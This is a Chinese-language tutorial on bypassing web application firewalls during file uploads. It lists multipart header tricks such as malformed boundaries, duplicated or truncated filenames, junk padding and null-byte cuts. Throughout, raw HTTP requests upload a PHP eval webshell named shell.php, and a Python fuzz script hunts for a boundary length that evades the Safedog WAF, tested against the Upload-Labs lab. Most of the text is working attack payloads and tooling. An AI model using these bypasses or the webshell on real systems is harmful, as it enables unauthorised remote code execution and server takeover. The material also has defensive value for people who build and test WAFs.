文章来源 :HACK学习呀
文件上传实质上还是客户端的POST请求,消息主体是一些上传信息。前端上传页面需要指定 enctype为multipart/from-data
才能正常上传文件。
一个正常的文件上传数据包大致如下:
POST http://www.example.com HTTP/1.1
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryyb1zYhTI38xpQxBK------WebKitFormBoundaryyb1zYhTI38xpQxBK
Content-Disposition: form-data; name="city_id"
1
------WebKitFormBoundaryyb1zYhTI38xpQxBK
Content-Disposition: form-data; name="company_id"
2
------WebKitFormBoundaryyb1zYhTI38xpQxBK
Content-Disposition: form-data; name="file"; filename="chrome.png"
Content-Type: image/png
PNG ... content of chrome.png ...
------WebKitFormBoundaryyb1zYhTI38xpQxBK--
从中获取特征为:
•请求Header中Content-Type存在以下特征:•multipart/form-data
:表示该请求是一个文件上传请求•存在boundary
字符串:作用为分隔符,以区分POST数据•POST的内容存在以下特征:•Content-Disposition
:响应标头是指示内容是否预期在浏览器中内联显示的标题。•name
:包含该字段的内容引用的 HTML 字段的名称。•filename
:后面是一个包含传输文件的原始名称的字符串。•POST中的boundary
的值就是Content-Type
的值在最前面加了两个--
,除了最后标识结束的boundary
•最后标识结束的boundary
最后默认会多出两个--
(测试时,最后一行的boundary删掉也能成功上传)
•Content-Disposition:一般可更改•name:表单参数值,不能更改•filename:文件名,可以更改•Content-Type:文件 MIME,视情况更改•boundary:内容划分,可以更改
可以先自己想象一下,如果让你来写WAF,你会从哪几个角度去防御。
•文件名•解析文件名,判断是否在黑名单内。•文件内容•解析文件内容,判断是否为webshell。•文件目录权限•该功能需要主机WAF实现。
目前,市面上常见的是解析文件名,少数WAF是解析文件内容,比如长亭。下面内容,都是基于文件名解析。
大致步骤如下:
1.获取Request Header里的Content-Type
值中获取boundary
值2.根据第一步的boundary
值,解析POST数据,获取文件名3.判断文件名是否在拦截黑名单内/白名单外
了解了WAF如何对恶意文件进行拦截之后,我将常见的绕过方法分为如下几类,最后再使用目前最新版的安全狗进行绕过演示。
头部字段的值既可以添加单引号也可以添加双引号还可以不加引号,都不会影响上传结果。
Content-Disposition: "form-data"; name=file_x; filename="xx.php"
Content-Disposition: form-data; name=file_x; filename="xx.php"
Content-Disposition: form-data; name=file_x; filename=xx.php
Content-Disposition: form-data; name="file_x"; filename=xx.php
Content-Disposition: form-data; name='file_x'; filename='xx.php'
Content-Disposition: 'form-data'; name="file_x"; filename='xx.php'
可以去除掉filename
字符串中末尾的引号,也能够正常上传
Content-Disposition: form-data; name="file_x"; filename="xx.php
Content-Disposition: form-data; name="file_x"; filename='xx.php
Content-Disposition: form-data; name="file_x"; filename="xx.php;
对这三个固定的字符串进行大小写转换
•Content-Disposition•name•filename
比如name
转换成Name
,Content-Disposition
转换成content-disposition
。
字段值与等号之间可以加入换行符,依然可以正常上传,下面我使用[0x09]
代替换行符
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php"
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php"[0x09]
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]xx.php
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]xx.php[0x09];
文件解析时,可能因为分号解析不到文件名,导致绕过。
Content-Disposition: form-data; name="file_x";;; filename="test.php"
在POST的内容中使用多个等号对文件上传也没有影响。
Content-Disposition: form-data; name=="file_x"; filename===="test.php"
某些WAF在解析的时候,认为Content-Disposition
值一定是form-data
,造成绕过。其实Content-Disposition
可以任意变换或为空。
Content-Disposition: fOrM-DaTA; name="file_x"; filename="xx.php"
Content-Disposition: form-da+ta; name="file_x"; filename="xx.php"
Content-Disposition: fo r m-dat a; name="file_x"; filename="xx.php"
Content-Disposition: form-dataxx; name="file_x"; filename="xx.php"
Content-Disposition: name="file_x"; filename="xx.php"
boundary
可以变化为如下形式,且不影响上传:
正常的boundary
:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111
畸形的boundary
:
•multipart/form-data
大小写可变:
Content-Type: mUltiPart/ForM-dATa; boundary=----WebKitFormBoundarye111
•multipart/form-data
与boundary
之间可以使用空格分隔,且中间可以插入任何值:
Content-Type: multipart/form-data boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data x boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data abcdefg boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data a\|/[email protected]#$%^() boundary=----WebKitFormBoundarye111
•multipart/form-data
与boundary
之间可以使用逗号分隔,且中间可以插入任何值:
Content-Type: multipart/form-data,boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data,x,boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data,abcdefg,boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data,a\|/[email protected]#$%^(),boundary=----WebKitFormBoundarye111
•boundary
之前可以直接加入任何值(PHP可行):
Content-Type: multipart/form-data;bypass&123**{|}boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data bypass&123**{|}boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data,bypass&123**{|}boundary=----WebKitFormBoundarye111
•boundary
末尾可以使用逗号或分号隔开插入任何值
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111;123abc
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111,123abc
因为规定了Content-Disposition
必须在最前面,所以只能交换name和filename的顺序。
有的WAF可能会匹配name
在前面,filename
在后面,可以导致绕过。
Content-Disposition: form-data; filename="xx.php"; name="file_x"
与上述一样,Content-Disposition和Content-Type也是能够交换顺序的。
Content-Type: image/png
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
不同boundary内容也能够交换,且不影响文件上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png
<?php @eval($_POST['x']);?>
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--
最后上传的文件是shell.php而非shell.jpg,但是如果取的文件名时只取了第一个就会被Bypass。
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg"
Content-Type: image/png<?php @eval($_POST['hack']); ?>
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png
<?php @eval($_POST['hack']); ?>
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundarymeEzpUTMsmOfjwAA--
下面这样也是可以正常上传的
------WebKitFormBoundarymeEzpUTMsmOfjwAA
------WebKitFormBoundarymeEzpUTMsmOfjwAA--
------WebKitFormBoundarymeEzpUTMsmOfjwAA;123
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png<?php @eval($_POST['hack']); ?>
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundarymeEzpUTMsmOfjwAA--
最终上传成功的文件名是shell.php。但是由于解析文件名时,会解析到第一个。正则默认都会匹配到第一个。
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.php";
name与filename之间插入大量垃圾数据。
POST /Pass-02/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf
Connection: close------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; fbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf;
filename="shell.php"
Content-Type: image/png
<?php @eval($_POST['x']);?>
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--
注:需在大量垃圾数据后加“;”
boundray字符串的值可以为任何数据(有一定的长度限制),当长度达到WAF无法处理时,而Web服务器又能够处理,那么就可以绕过WAF上传文件。
POST /Pass-01/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Connection: close------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Content-Disposition: form-data; name="upload_file";filename="shell.php"
Content-Type: image/png
<?php @eval($_POST['x']);?>
------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9--
刚才讲到过boundary
末尾可以插入任何数据,那么就可以在boundary
字符串末尾加入大量垃圾数据。
POST /Pass-01/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf,bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Connection: close
Content-Length: 592------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png
<?php @eval($_POST['x']);?>
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--
刚才讲到过multipart/form-data
与boundary
之间可以插入任何数据,那么就可以在multipart/form-data
与boundary
之间加入大量垃圾数据。
POST /Pass-01/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf
Connection: close
Content-Length: 319------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png
<?php @eval($_POST['x']);?>
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--
POST请求头的值(不是请求头)是可以换行的,但是中间不得有空行。若WAF匹配文件名到换行截止,则可以绕过。
Content-Disposition: for
m-data; name="upload_
file"; fi
le
name="sh
ell.p
h
p"
若WAF匹配文件名到分号截止,则可以绕过。
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg;.php"
php<5.3 单双引号截断特性。
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg'.php"
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg".php"
在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,所以当url中出现%00时就会认为读取已结束。这里使用[0x00]
代替16进制的00字符
Content-Disposition: form-data; name="upload_file"; filename="shell.php[0x00].jpg"
实验环境
靶场:Upload-Labs(Pass-1)
数据库:MySQL 5.5
Web脚本:PHP 5.4.19
WAF:网站安全狗(Apache版)v4.0.3025
在测试时,网站安全狗仅开启上传防护,否则会因为误报删除靶场文件。
由于boundary字符串中可以加入大量垃圾数据,这里就编写了一个Fuzz脚本进行测试能否绕过:
#! /usr/bin/env python
# _*_ coding:utf-8 _*_import requests
import random
url="http://hackrock.com:813/Pass-01/index.php"
def generate_random_str(randomlength=16):
random_str = ''
base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
length = len(base_str) - 1
for i in range(randomlength):
random_str += base_str[random.randint(0, length)]
return random_str
for i in range(10,8000,50):
stri = generate_random_str(i)
try:
headers = {
"Host":"hackrock.com:813",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36",
"Referer":"http://hackrock.com:813/Pass-01/index.php",
"Content-Type":"multipart/form-data; boundary=----" + stri
}
payload = """
------""" + stri +"""
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png <?php @eval($_POST['hack']); ?>
------"""
+ stri + """
Content-Disposition: form-data; name="submit" 上传
------"""
+ stri + """-- """
response=requests.post(url=url,headers=headers,data=payload,timeout=0.5)
result = response.content
print result
print stri
print "\n"
#print payload
#print headers
if result.count('上传'):
print "Length is : %s " % str(i)
break
except:
print "."
这里使用的是python2.7进行编写,运行时确保装有python2的环境以及python库。
最后测出的结果如下,长度为3710个字符:
虽然并没有帮我们上传上去,但是可以成功绕过安全狗拦截。
我们将构造好的数据包放进Burp试试:
成功绕过。
上传文件,使用Burp抓包,将filename的值改为:shell.php;.jpg
然后打开hex,(分号的16进制为0x3b)修改16进制内容,把3b改成00:
发送数据。
成功绕过。
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